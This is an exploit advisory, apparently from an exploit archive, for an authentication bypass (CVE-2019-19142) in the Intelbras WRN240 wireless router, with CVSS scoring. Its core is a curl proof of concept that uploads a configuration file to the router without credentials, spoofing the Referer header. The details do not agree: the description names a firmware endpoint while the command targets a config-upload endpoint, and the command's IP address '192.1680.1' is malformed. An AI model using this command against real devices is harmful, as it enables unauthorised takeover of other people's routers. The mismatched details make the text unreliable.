Intelbras Wireless N 150Mbps WRN240 Authentication Bypass

2020.03.07
Credit: Elber Tavares
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.intelbras.com/ # Software Link: http://en.intelbras.com.br/node/1033 # Version: Intelbras Wireless N 150Mbps - WRN240 # Tested on: linux, windows # CVE: CVE-2019-19142 Intelbras WRN240 devices do not require authentication to replace the firmware via a POST request to the incoming/Firmware.cfg URI. REFS: https://fireshellsecurity.team/hack-n-routers/ https://github.com/ElberTavares/routers-exploit/ Poc: curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin http://192.1680.1/incoming/RouterBakCfgUpload.cfg


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